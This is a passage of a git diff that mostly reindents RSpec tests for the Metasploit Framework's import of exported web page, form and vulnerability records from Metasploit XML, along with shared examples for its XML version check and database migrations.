web_page_attributes.fetch(:location) - ) - xml.mtime( - web_page_attributes.fetch(:mtime) - ) - end - - xml.target! - end - - it 'should be a Hash' do - db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| - info = specialization.call(element, options) - - info.should be_a Hash - end - - import_msf_web_page_element - end - - it 'should include :auth' do - with_info do |info| - info[:auth].should == web_page_attributes.fetch(:auth) - end - end - - it 'should include :body' do - with_info do |info| - info[:body].should == web_page_attributes.fetch(:body) - end - end - - it 'should include :code' do - with_info do |info| - info[:code].should == web_page_attributes.fetch(:code) - end - end - - it 'should include :cookie' do - with_info do |info| - info[:cookie].should == web_page_attributes.fetch(:cookie) - end - end - - it 'should include :ctype' do - with_info do |info| - info[:ctype].should == web_page_attributes.fetch(:ctype) - end - end - - it 'should include :headers' do - with_info do |info| - info[:headers].should == web_page_attributes.fetch(:headers) - end - end - - it 'should include :location' do - with_info do |info| - info[:location].should == web_page_attributes.fetch(:location) - end - end - - it 'should include :mtime' do - with_info do |info| - info[:mtime].should == web_page_attributes.fetch(:mtime) - end - end - end - end - - context 'with required attributes' do - include_context 'DatabaseCleaner' - - let(:element) do - document.root - end - - let(:source) do - xml.web_page do - xml.body( - web_page_attributes.fetch(:body) - ) - xml.code( - web_page_attributes.fetch(:code) - ) - - serialized_headers = serialize( - web_page_attributes.fetch(:headers) - ) - xml.headers(serialized_headers) - - xml.host( - host_attributes.fetch(:address) - ) - xml.path( - web_page_attributes.fetch(:headers) - ) - xml.port( - service_attributes.fetch(:port) - ) - xml.query( - web_page_attributes.fetch(:query) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - - xml.target! - end - - it 'should create an Mdm::WebPage' do - expect { - import_msf_web_page_element - }.to change(Mdm::WebPage, :count).by(1) - end - end - end - - context '#import_msf_web_vuln_element' do - let(:type) do - :vuln - end - - let(:web_vuln_attributes) do - FactoryGirl.attributes_for(:exported_web_vuln) - end - - subject(:import_msf_web_vuln_element) do - db_manager.import_msf_web_vuln_element( - element, - options, - &notifier - ) - end - - context 'call to #import_msf_web_element' do - it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' - - context 'specialization return' do - let(:element) do - document.root - end - - let(:source) do - xml.web_vuln do - xml.blame( - web_vuln_attributes.fetch(:blame) - ) - xml.category( - web_vuln_attributes.fetch(:category) - ) - xml.confidence( - web_vuln_attributes.fetch(:confidence) - ) - xml.description( - web_vuln_attributes.fetch(:description) - ) - xml.method( - web_vuln_attributes.fetch(:method) - ) - xml.name( - web_vuln_attributes.fetch(:name) - ) - xml.pname( - web_vuln_attributes.fetch(:pname) - ) - xml.proof( - web_vuln_attributes.fetch(:proof) - ) - xml.risk( - web_vuln_attributes.fetch(:risk) - ) - end - - xml.target! - end - - it 'should be a Hash' do - with_info do |info| - info.should be_a Hash - end - - import_msf_web_vuln_element - end - - it 'should include :blame' do - with_info do |info| - info[:blame].should == web_vuln_attributes.fetch(:blame) - end - end - - it 'should include :category' do - with_info do |info| - info[:category].should == web_vuln_attributes.fetch(:category) - end - end - - it 'should include :confidence' do - with_info do |info| - info[:confidence].should == web_vuln_attributes.fetch(:confidence) - end - end - - it 'should include :description' do - with_info do |info| - info[:description].should == web_vuln_attributes.fetch(:description) - end - end - - it 'should include :method' do - with_info do |info| - info[:method].should == web_vuln_attributes.fetch(:method) - end - end - - it 'should include :name' do - with_info do |info| - info[:name].should == web_vuln_attributes.fetch(:name) - end - end - - it 'should include :pname' do - with_info do |info| - info[:pname].should == web_vuln_attributes.fetch(:pname) - end - end - - it 'should include :proof' do - with_info do |info| - info[:proof].should == web_vuln_attributes.fetch(:proof) - end - end - - it 'should include :risk' do - with_info do |info| - info[:risk].should == web_vuln_attributes.fetch(:risk) - end - end - end - end - - context 'with required attributes' do - include_context 'DatabaseCleaner' - - let(:element) do - document.root - end - - let(:source) do - xml.web_vuln do - xml.category( - web_vuln_attributes.fetch(:category) - ) - xml.host( - host_attributes.fetch(:address) - ) - xml.method( - web_vuln_attributes.fetch(:method) - ) - xml.name( - web_vuln_attributes.fetch(:name) - ) - - serialized_params = serialize( - web_vuln_attributes.fetch(:params) - ) - xml.params(serialized_params) - - xml.path( - web_vuln_attributes.fetch(:path) - ) - xml.pname( - web_vuln_attributes.fetch(:pname) - ) - xml.port( - service_attributes.fetch(:port) - ) - xml.proof( - web_vuln_attributes.fetch(:proof) - ) - xml.risk( - web_vuln_attributes.fetch(:risk) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - - xml.target! - end - - it 'should create an Mdm::WebVuln' do - expect { - import_msf_web_vuln_element - }.to change(Mdm::WebVuln, :count).by(1) - end - end - end - - context '#import_msf_xml' do - let(:data) do - '<MetasploitV4/>' - end - - subject(:import_msf_xml) do - db_manager.import_msf_xml(:data => data) - end - - it 'should call #check_msf_xml_version!' do - db_manager.should_receive(:check_msf_xml_version!).and_call_original - - import_msf_xml - end - - context 'with web_forms/web_form elements' do - include_context 'DatabaseCleaner' - - let(:data) do - xml.tag!('MetasploitV4') do - xml.web_forms do - xml.web_form do - xml.host( - host_attributes.fetch(:address) - ) - xml.method( - web_form_attributes.fetch(:method) - ) - xml.path( - web_form_attributes.fetch(:path) - ) - xml.port( - service_attributes.fetch(:port) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - end - end - - xml.target! - end - - it 'should call #import_msf_web_form_element' do - db_manager.should_receive(:import_msf_web_form_element).and_call_original - - import_msf_xml - end - end - - context 'with web_pages/web_page elements' do - include_context 'DatabaseCleaner' - - let(:data) do - xml.tag!('MetasploitV4') do - xml.web_pages do - xml.web_page do - xml.body( - web_page_attributes.fetch(:body) - ) - xml.code( - web_page_attributes.fetch(:code) - ) - - serialized_headers = serialize( - web_page_attributes.fetch(:headers) - ) - xml.headers(serialized_headers) - - xml.host( - host_attributes.fetch(:address) - ) - xml.path( - web_page_attributes.fetch(:headers) - ) - xml.port( - service_attributes.fetch(:port) - ) - xml.query( - web_page_attributes.fetch(:query) - ) - - ssl = false - - if service_attributes[:name] == 'https' - ssl = true - end - - xml.ssl(ssl) - end - end - end - - xml.target! - end - - it 'should call #import_msf_web_page_element' do - db_manager.should_receive(:import_msf_web_page_element).and_call_original - - import_msf_xml - end - end - - context 'with web_vulns/web_vuln elements' do - include_context 'DatabaseCleaner' - - let(:data) do - xml.tag!('MetasploitV4') do - xml.web_vulns do - xml.web_vuln do - xml.category(web_vuln.category) - - service = web_vuln.web_site.service - xml.host(service.host.address) - - xml.method(web_vuln.method) - xml.name(web_vuln.name) - - serialized_params = serialize(web_vuln.params) - xml.params(serialized_params) - - xml.path(web_vuln.path) - xml.pname(web_vuln.pname) - xml.port(service.port) - xml.proof(web_vuln.proof) - - ssl = false - - if service.name == 'https' - ssl = true - end - - xml.ssl(ssl) - end - end - end - - xml.target! - end - - let(:web_vuln) do - FactoryGirl.create(:mdm_web_vuln) - end - - it 'should call #import_msf_web_vuln_element' do - db_manager.should_receive(:import_msf_web_vuln_element).and_call_original - - import_msf_xml - end - end - end + # Serialized format from pro/modules/auxiliary/pro/report.rb + def serialize(object) + # FIXME https://www.pivotaltracker.com/story/show/46578647 + marshalled = Marshal.dump(object) + base64_encoded = [marshalled].pack('m') + compact = base64_encoded.gsub(/\s+/, '') + + compact + end + + def with_info + db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| + info = specialization.call(element, options) + + yield info + end + + subject + end + + let(:allow_yaml) do + false + end + + let(:document) do + REXML::Document.new(source) + end + + let(:element) do + nil + end + + let(:host_attributes) do + FactoryGirl.attributes_for(:mdm_host) + end + + let(:msf_web_text_element_names) do + [ + 'created-at', + 'host', + 'path', + 'port', + 'query', + 'ssl', + 'updated-at', + 'vhost' + ] + end + + let(:notifier) do + lambda do |event, data| + + end + end + + let(:options) do + { + :allow_yaml => allow_yaml, + :workspace => workspace + } + end + + let(:service_attributes) do + FactoryGirl.attributes_for(:web_service) + end + + let(:web_form_attributes) do + FactoryGirl.attributes_for(:mdm_web_form, :exported) + end + + let(:web_page_attributes) do + FactoryGirl.attributes_for(:mdm_web_page) + end + + let(:workspace) do + nil + end + + let(:xml) do + Builder::XmlMarkup.new(:indent => 2) + end + + it 'should include methods from module so method can be overridden easier in pro' do + db_manager.should be_a Msf::DBManager::ImportMsfXml + end + + context 'CONSTANTS' do + it 'should define MSF_WEB_PAGE_TEXT_ELEMENT_NAMES in any order' do + described_class::MSF_WEB_PAGE_TEXT_ELEMENT_NAMES =~ [ + 'auth', + 'body', + 'code', + 'cookie', + 'ctype', + 'location', + 'mtime' + ] + end + + it 'should define MSF_WEB_TEXT_ELEMENT_NAMES in any order' do + described_class::MSF_WEB_TEXT_ELEMENT_NAMES =~ msf_web_text_element_names + end + + it 'should define MSF_WEB_VULN_TEXT_ELEMENT_NAMES in any order' do + described_class::MSF_WEB_VULN_TEXT_ELEMENT_NAMES =~ [ + 'blame', + 'category', + 'confidence', + 'description', + 'method', + 'name', + 'pname', + 'proof', + 'risk' + ] + end + end + + context '#check_msf_xml_version!' do + let(:root_tag) do + 'root' + end + + let(:source) do + xml.tag!(root_tag) + + xml.target! + end + + subject(:metadata) do + db_manager.send(:check_msf_xml_version!, document) + end + + it_should_behave_like( + 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', + 'MetasploitExpressV1', + :allow_yaml => true + ) + + it_should_behave_like( + 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', + 'MetasploitExpressV2', + :allow_yaml => true + ) + + it_should_behave_like( + 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', + 'MetasploitExpressV3', + :allow_yaml => false + ) + + it_should_behave_like( + 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag', + 'MetasploitExpressV4', + :allow_yaml => false + ) + + context 'with other' do + it 'should raise DBImportError' do + expect { + metadata + }.to raise_error( + Msf::DBImportError, + 'Unsupported Metasploit XML document format' + ) + end + end + end + + context '#import_msf_text_element' do + let(:parent_element) do + document.root + end + + let(:child_name) do + 'child' + end + + let(:child_sym) do + child_name.to_sym + end + + subject(:info) do + db_manager.send(:import_msf_text_element, parent_element, child_name) + end + + context 'with child element' do + let(:source) do + xml.parent do + xml.tag!(child_name, text) + end + + xml.target! + end + + context 'with padded text' do + let(:stripped) do + 'stripped' + end + + let(:text) do + " #{stripped} " + end + + it 'should strip text' do + info[:child].should == stripped + end + end + + context 'with NULL text' do + let(:text) do + 'NULL' + end + + it 'should have nil for child name in info' do + # use have_key to verify info isn't just returning hash default of + # `nil`. + info.should have_key(child_sym) + info[child_sym].should be_nil + end + end + + context 'without NULL text' do + let(:text) do + 'some text' + end + + it 'should have text for child name in info' do + info[child_sym].should == text + end + end + end + + context 'without child element' do + let(:source) do + xml.parent + + xml.target! + end + + it 'should return an empty Hash' do + info.should == {} + end + end + end + + context 'import_msf_web_element' do + let(:element) do + document.root + end + + let(:options) do + {} + end + + let(:specialization) do + lambda { |element, options| + {} + } + end + + subject(:import_msf_web_element) do + db_manager.send( + :import_msf_web_element, + element, + options, + &specialization + ) + end + + context 'with :type' do + include_context 'DatabaseCleaner' + + let(:source) do + xml.tag!("web_#{type}") do + web_site = web_vuln.web_site + service = web_site.service + + xml.host(service.host.address) + xml.path(web_vuln.path) + xml.port(service.port) + xml.query(web_vuln.query) + + ssl = false + + if service.name == 'https' + ssl = true + end + + xml.ssl(ssl) + + xml.vhost(web_site.vhost) + end + + xml.target! + end + + let(:type) do + :vuln + end + + let(:web_vuln) do + FactoryGirl.create(:mdm_web_vuln) + end + + before(:each) do + db_manager.stub( + :report_web_vuln + ).with( + an_instance_of(Hash) + ) + + options[:type] = type + end + + context 'with :workspace' do + let(:workspace) do + double(':workspace') + end + + before(:each) do + options[:workspace] = workspace + end + + it 'should not call Msf::DBManager#workspace' do + db_manager.should_not_receive(:workspace) + + import_msf_web_element + end + + it 'should pass :workspace to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:workspace => workspace) + ) + + import_msf_web_element + end + end + + context 'without :workspace' do + let(:workspace) do + FactoryGirl.create(:mdm_workspace) + end + + before(:each) do + db_manager.workspace = workspace + end + + it 'should call Msf::DBManager#workspace' do + db_manager.should_receive(:workspace).and_call_original + + import_msf_web_element + end + + it 'should pass Msf::DBManager#workspace to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:workspace => workspace) + ) + + import_msf_web_element + end + end + + it 'should import all elements in MSF_WEB_TEXT_ELEMENT_NAMES with #import_msf_text_element' do + msf_web_text_element_names.each do |name| + db_manager.should_receive( + :import_msf_text_element + ).with( + element, + name + ).and_call_original + end + + import_msf_web_element + end + + context 'with non-empty Hash from #import_msf_text_element' do + let(:returned_hash) do + { + :host => '192.168.0.1' + } + end + + before(:each) do + db_manager.stub(:import_msf_text_element).and_return(returned_hash) + end + + it 'should pass returned Hash as part of Hash passed to report_web_<:type' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(returned_hash) + ) + + import_msf_web_element + end + end + + context 'ssl element' do + context 'without element' do + let(:source) do + xml.tag!("web_#{type}") + + xml.target! + end + + it 'should pass false for :ssl to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:ssl => false) + ) + + import_msf_web_element + end + end + + context 'with element' do + let(:source) do + xml.tag!("web_#{type}") do + xml.ssl(ssl) + end + + xml.target! + end + + context "with 'true' text" do + let(:ssl) do + true + end + + it 'should pass true for :ssl to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:ssl => true) + ) + + import_msf_web_element + end + end + + context "without 'true' text" do + let(:ssl) do + false + end + + it 'should pass false for :ssl to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(:ssl => false) + ) + + import_msf_web_element + end + end + end + end + + context 'specialization block' do + let(:returned_hash) do + { + :specialized => double('Value') + } + end + + let(:specialization) do + lambda { |element, option| + returned_hash + } + end + + it 'should be called with element and options' do + actual_args = [] + + db_manager.send( + :import_msf_web_element, + element, + options) do |*args| + actual_args = args + + returned_hash + end + + actual_args.should == [element, options] + end + + it 'should pass return Hash to report_web_<:type>' do + db_manager.should_receive( + "report_web_#{type}" + ).with( + hash_including(returned_hash) + ) + + import_msf_web_element + end + end + + context 'notifier' do + context 'with :notifier' do + let(:event) do + "web_#{type}".to_sym + end + + let(:notifier) do + lambda do |*args| + successive_args << args + end + end + + let(:successive_args) do + [] + end + + before(:each) do + options[:notifier] = notifier + end + + it 'should call :notifier with event and path' do + import_msf_web_element + + successive_args.length.should == 1 + + args = successive_args[0] + + args.length.should == 2 + args[0].should == event + args[1].should == web_vuln.path + end + end + + context 'without :notifier' do + it 'should not raise an error' do + expect { + import_msf_web_element + }.to_not raise_error + end + end + end + end + + context 'without :type' do + let(:element) do + nil + end + + it 'should raise KeyError' do + expect { + import_msf_web_element + }.to raise_error(KeyError, 'key not found: :type') + end + end + end + + context '#import_msf_web_form_element' do + let(:type) do + :form + end + + subject(:import_msf_web_form_element) do + db_manager.import_msf_web_form_element( + element, + options, + &notifier + ) + end + + context 'call to #import_msf_web_element' do + it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' + + context 'specialization return' do + let(:element) do + document.root + end + + let(:source) do + xml.web_form do + xml.method( + web_form_attributes.fetch(:method) + ) + + serialized_params = serialize( + web_form_attributes.fetch(:params) + ) + xml.params(serialized_params) + end + + xml.target! + end + + it 'should be a Hash' do + with_info do |info| + info.should be_a Hash + end + end + + it 'should include :method' do + with_info do |info| + info[:method].should == web_form_attributes[:method] + end + end + + it 'should include :params' do + with_info do |info| + info[:params].should == web_form_attributes[:params] + end + end + end + end + + context 'with required attributes' do + include_context 'DatabaseCleaner' + + let(:element) do + document.root + end + + let(:source) do + xml.web_form do + xml.host( + host_attributes.fetch(:address) + ) + xml.method( + web_form_attributes.fetch(:method) + ) + xml.path( + web_form_attributes.fetch(:path) + ) + xml.port( + service_attributes.fetch(:port) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + + xml.target! + end + + it 'should create an Mdm::WebForm' do + expect { + import_msf_web_form_element + }.to change(Mdm::WebForm, :count).by(1) + end + end + end + + context '#import_msf_web_page_element' do + let(:type) do + :page + end + + subject(:import_msf_web_page_element) do + db_manager.import_msf_web_page_element( + element, + options, + &notifier + ) + end + + context 'call to #import_msf_web_element' do + it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' + + context 'specialization return' do + let(:element) do + document.root + end + + let(:source) do + xml.web_page do + xml.auth( + web_page_attributes.fetch(:auth) + ) + xml.body( + web_page_attributes.fetch(:body) + ) + xml.code( + web_page_attributes.fetch(:code) + ) + xml.cookie( + web_page_attributes.fetch(:cookie) + ) + xml.ctype( + web_page_attributes.fetch(:ctype) + ) + + serialized_headers = serialize( + web_page_attributes.fetch(:headers) + ) + xml.headers(serialized_headers) + + xml.location( + web_page_attributes.fetch(:location) + ) + xml.mtime( + web_page_attributes.fetch(:mtime) + ) + end + + xml.target! + end + + it 'should be a Hash' do + db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| + info = specialization.call(element, options) + + info.should be_a Hash + end + + import_msf_web_page_element + end + + it 'should include :auth' do + with_info do |info| + info[:auth].should == web_page_attributes.fetch(:auth) + end + end + + it 'should include :body' do + with_info do |info| + info[:body].should == web_page_attributes.fetch(:body) + end + end + + it 'should include :code' do + with_info do |info| + info[:code].should == web_page_attributes.fetch(:code) + end + end + + it 'should include :cookie' do + with_info do |info| + info[:cookie].should == web_page_attributes.fetch(:cookie) + end + end + + it 'should include :ctype' do + with_info do |info| + info[:ctype].should == web_page_attributes.fetch(:ctype) + end + end + + it 'should include :headers' do + with_info do |info| + info[:headers].should == web_page_attributes.fetch(:headers) + end + end + + it 'should include :location' do + with_info do |info| + info[:location].should == web_page_attributes.fetch(:location) + end + end + + it 'should include :mtime' do + with_info do |info| + info[:mtime].should == web_page_attributes.fetch(:mtime) + end + end + end + end + + context 'with required attributes' do + include_context 'DatabaseCleaner' + + let(:element) do + document.root + end + + let(:source) do + xml.web_page do + xml.body( + web_page_attributes.fetch(:body) + ) + xml.code( + web_page_attributes.fetch(:code) + ) + + serialized_headers = serialize( + web_page_attributes.fetch(:headers) + ) + xml.headers(serialized_headers) + + xml.host( + host_attributes.fetch(:address) + ) + xml.path( + web_page_attributes.fetch(:headers) + ) + xml.port( + service_attributes.fetch(:port) + ) + xml.query( + web_page_attributes.fetch(:query) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + + xml.target! + end + + it 'should create an Mdm::WebPage' do + expect { + import_msf_web_page_element + }.to change(Mdm::WebPage, :count).by(1) + end + end + end + + context '#import_msf_web_vuln_element' do + let(:type) do + :vuln + end + + let(:web_vuln_attributes) do + FactoryGirl.attributes_for(:exported_web_vuln) + end + + subject(:import_msf_web_vuln_element) do + db_manager.import_msf_web_vuln_element( + element, + options, + &notifier + ) + end + + context 'call to #import_msf_web_element' do + it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' + + context 'specialization return' do + let(:element) do + document.root + end + + let(:source) do + xml.web_vuln do + xml.blame( + web_vuln_attributes.fetch(:blame) + ) + xml.category( + web_vuln_attributes.fetch(:category) + ) + xml.confidence( + web_vuln_attributes.fetch(:confidence) + ) + xml.description( + web_vuln_attributes.fetch(:description) + ) + xml.method( + web_vuln_attributes.fetch(:method) + ) + xml.name( + web_vuln_attributes.fetch(:name) + ) + xml.pname( + web_vuln_attributes.fetch(:pname) + ) + xml.proof( + web_vuln_attributes.fetch(:proof) + ) + xml.risk( + web_vuln_attributes.fetch(:risk) + ) + end + + xml.target! + end + + it 'should be a Hash' do + with_info do |info| + info.should be_a Hash + end + + import_msf_web_vuln_element + end + + it 'should include :blame' do + with_info do |info| + info[:blame].should == web_vuln_attributes.fetch(:blame) + end + end + + it 'should include :category' do + with_info do |info| + info[:category].should == web_vuln_attributes.fetch(:category) + end + end + + it 'should include :confidence' do + with_info do |info| + info[:confidence].should == web_vuln_attributes.fetch(:confidence) + end + end + + it 'should include :description' do + with_info do |info| + info[:description].should == web_vuln_attributes.fetch(:description) + end + end + + it 'should include :method' do + with_info do |info| + info[:method].should == web_vuln_attributes.fetch(:method) + end + end + + it 'should include :name' do + with_info do |info| + info[:name].should == web_vuln_attributes.fetch(:name) + end + end + + it 'should include :pname' do + with_info do |info| + info[:pname].should == web_vuln_attributes.fetch(:pname) + end + end + + it 'should include :proof' do + with_info do |info| + info[:proof].should == web_vuln_attributes.fetch(:proof) + end + end + + it 'should include :risk' do + with_info do |info| + info[:risk].should == web_vuln_attributes.fetch(:risk) + end + end + end + end + + context 'with required attributes' do + include_context 'DatabaseCleaner' + + let(:element) do + document.root + end + + let(:source) do + xml.web_vuln do + xml.category( + web_vuln_attributes.fetch(:category) + ) + xml.host( + host_attributes.fetch(:address) + ) + xml.method( + web_vuln_attributes.fetch(:method) + ) + xml.name( + web_vuln_attributes.fetch(:name) + ) + + serialized_params = serialize( + web_vuln_attributes.fetch(:params) + ) + xml.params(serialized_params) + + xml.path( + web_vuln_attributes.fetch(:path) + ) + xml.pname( + web_vuln_attributes.fetch(:pname) + ) + xml.port( + service_attributes.fetch(:port) + ) + xml.proof( + web_vuln_attributes.fetch(:proof) + ) + xml.risk( + web_vuln_attributes.fetch(:risk) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + + xml.target! + end + + it 'should create an Mdm::WebVuln' do + expect { + import_msf_web_vuln_element + }.to change(Mdm::WebVuln, :count).by(1) + end + end + end + + context '#import_msf_xml' do + let(:data) do + '<MetasploitV4/>' + end + + subject(:import_msf_xml) do + db_manager.import_msf_xml(:data => data) + end + + it 'should call #check_msf_xml_version!' do + db_manager.should_receive(:check_msf_xml_version!).and_call_original + + import_msf_xml + end + + context 'with web_forms/web_form elements' do + include_context 'DatabaseCleaner' + + let(:data) do + xml.tag!('MetasploitV4') do + xml.web_forms do + xml.web_form do + xml.host( + host_attributes.fetch(:address) + ) + xml.method( + web_form_attributes.fetch(:method) + ) + xml.path( + web_form_attributes.fetch(:path) + ) + xml.port( + service_attributes.fetch(:port) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + end + end + + xml.target! + end + + it 'should call #import_msf_web_form_element' do + db_manager.should_receive(:import_msf_web_form_element).and_call_original + + import_msf_xml + end + end + + context 'with web_pages/web_page elements' do + include_context 'DatabaseCleaner' + + let(:data) do + xml.tag!('MetasploitV4') do + xml.web_pages do + xml.web_page do + xml.body( + web_page_attributes.fetch(:body) + ) + xml.code( + web_page_attributes.fetch(:code) + ) + + serialized_headers = serialize( + web_page_attributes.fetch(:headers) + ) + xml.headers(serialized_headers) + + xml.host( + host_attributes.fetch(:address) + ) + xml.path( + web_page_attributes.fetch(:headers) + ) + xml.port( + service_attributes.fetch(:port) + ) + xml.query( + web_page_attributes.fetch(:query) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + end + end + + xml.target! + end + + it 'should call #import_msf_web_page_element' do + db_manager.should_receive(:import_msf_web_page_element).and_call_original + + import_msf_xml + end + end + + context 'with web_vulns/web_vuln elements' do + include_context 'DatabaseCleaner' + + let(:data) do + xml.tag!('MetasploitV4') do + xml.web_vulns do + xml.web_vuln do + xml.category(web_vuln.category) + + service = web_vuln.web_site.service + xml.host(service.host.address) + + xml.method(web_vuln.method) + xml.name(web_vuln.name) + + serialized_params = serialize(web_vuln.params) + xml.params(serialized_params) + + xml.path(web_vuln.path) + xml.pname(web_vuln.pname) + xml.port(service.port) + xml.proof(web_vuln.proof) + + ssl = false + + if service.name == 'https' + ssl = true + end + + xml.ssl(ssl) + end + end + end + + xml.target! + end + + let(:web_vuln) do + FactoryGirl.create(:mdm_web_vuln) + end + + it 'should call #import_msf_web_vuln_element' do + db_manager.should_receive(:import_msf_web_vuln_element).and_call_original + + import_msf_xml + end + end + end end diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb index 0565291217..017b08d427 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb +++ b/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb @@ -1,25 +1,25 @@ # -*- coding:binary -*- shared_examples_for 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag' do |root_tag, options={}| - options.assert_valid_keys(:allow_yaml) - allow_yaml = options.fetch(:allow_yaml) + options.assert_valid_keys(:allow_yaml) + allow_yaml = options.fetch(:allow_yaml) - context "with #{root_tag}" do - let(:root_tag) do - root_tag - end + context "with #{root_tag}" do + let(:root_tag) do + root_tag + end - should_label_by_allow_yaml = { - true => 'should', - false => 'should not' - } - should_label = should_label_by_allow_yaml[allow_yaml] + should_label_by_allow_yaml = { + true => 'should', + false => 'should not' + } + should_label = should_label_by_allow_yaml[allow_yaml] - it "#{should_label} allow YAML" do - expect(metadata[:allow_yaml]).to eq(allow_yaml) - end + it "#{should_label} allow YAML" do + expect(metadata[:allow_yaml]).to eq(allow_yaml) + end - it "should have #{root_tag} as root tag" do - metadata[:root_tag].should == root_tag - end - end + it "should have #{root_tag} as root tag" do + metadata[:root_tag].should == root_tag + end + end end diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb index c0e209816b..8ccf5f5573 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb +++ b/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb @@ -1,42 +1,42 @@ # -*- coding:binary -*- shared_examples_for 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' do - it 'should call #import_msf_web_element with element' do - db_manager.should_receive(:import_msf_web_element).with(element, anything) + it 'should call #import_msf_web_element with element' do + db_manager.should_receive(:import_msf_web_element).with(element, anything) - subject - end + subject + end - it 'should call #import_msf_web_element with :allow_yaml and :workspace' do - db_manager.should_receive(:import_msf_web_element).with( - anything, - hash_including( - :allow_yaml => allow_yaml, - :workspace => workspace - ) - ) + it 'should call #import_msf_web_element with :allow_yaml and :workspace' do + db_manager.should_receive(:import_msf_web_element).with( + anything, + hash_including( + :allow_yaml => allow_yaml, + :workspace => workspace + ) + ) - subject - end + subject + end - it 'should call #import_msf_web_element with :type' do - db_manager.should_receive(:import_msf_web_element).with( - anything, - hash_including( - :type => type - ) - ) + it 'should call #import_msf_web_element with :type' do + db_manager.should_receive(:import_msf_web_element).with( + anything, + hash_including( + :type => type + ) + ) - subject - end + subject + end - it 'should pass block to #import_msf_web_element as :notifier' do - db_manager.should_receive( - :import_msf_web_element - ).with( - anything, - hash_including(:notifier => notifier) - ) + it 'should pass block to #import_msf_web_element as :notifier' do + db_manager.should_receive( + :import_msf_web_element + ).with( + anything, + hash_including(:notifier => notifier) + ) - subject - end + subject + end end diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 7644295942..1bdcbe44c1 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -1,143 +1,143 @@ shared_examples_for 'Msf::DBManager::Migration' do - it { should be_a Msf::DBManager::Migration } + it { should be_a Msf::DBManager::Migration } - context '#migrate' do - def migrate - db_manager.migrate - end + context '#migrate' do + def migrate + db_manager.migrate + end - it 'should create a connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice + it 'should create a connection' do + ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice - migrate - end + migrate + end - it 'should call ActiveRecord::Migrator.migrate' do - ActiveRecord::Migrator.should_receive(:migrate).with( - ActiveRecord::Migrator.migrations_paths - ) + it 'should call ActiveRecord::Migrator.migrate' do + ActiveRecord::Migrator.should_receive(:migrate).with( + ActiveRecord::Migrator.migrations_paths + ) - migrate - end + migrate + end - it 'should return migrations that were ran from ActiveRecord::Migrator.migrate' do - migrations = [double('Migration 1')] - ActiveRecord::Migrator.stub(:migrate => migrations) + it 'should return migrations that were ran from ActiveRecord::Migrator.migrate' do + migrations = [double('Migration 1')] + ActiveRecord::Migrator.stub(:migrate => migrations) - migrate.should == migrations - end + migrate.should == migrations + end - it 'should reset the column information' do - db_manager.should_receive(:reset_column_information) + it 'should reset the column information' do + db_manager.should_receive(:reset_column_information) - migrate - end + migrate + end - context 'with StandardError from ActiveRecord::Migration.migrate' do - let(:error) do - StandardError.new(message) - end + context 'with StandardError from ActiveRecord::Migration.migrate' do + let(:error) do + StandardError.new(message) + end - let(:message) do - "Error during migration" - end + let(:message) do + "Error during migration" + end - before(:each) do - ActiveRecord::Migrator.stub(:migrate).and_raise(error) - end + before(:each) do + ActiveRecord::Migrator.stub(:migrate).and_raise(error) + end - it 'should set Msf::DBManager#error' do - migrate + it 'should set Msf::DBManager#error' do + migrate - db_manager.error.should == error - end + db_manager.error.should == error + end - it 'should log error message at error level' do - db_manager.should_receive(:elog) do |error_message| - error_message.should include(error.to_s) - end + it 'should log error message at error level' do + db_manager.should_receive(:elog) do |error_message| + error_message.should include(error.to_s) + end - migrate - end + migrate + end - it 'should log error backtrace at debug level' do - db_manager.should_receive(:dlog) do |debug_message| - 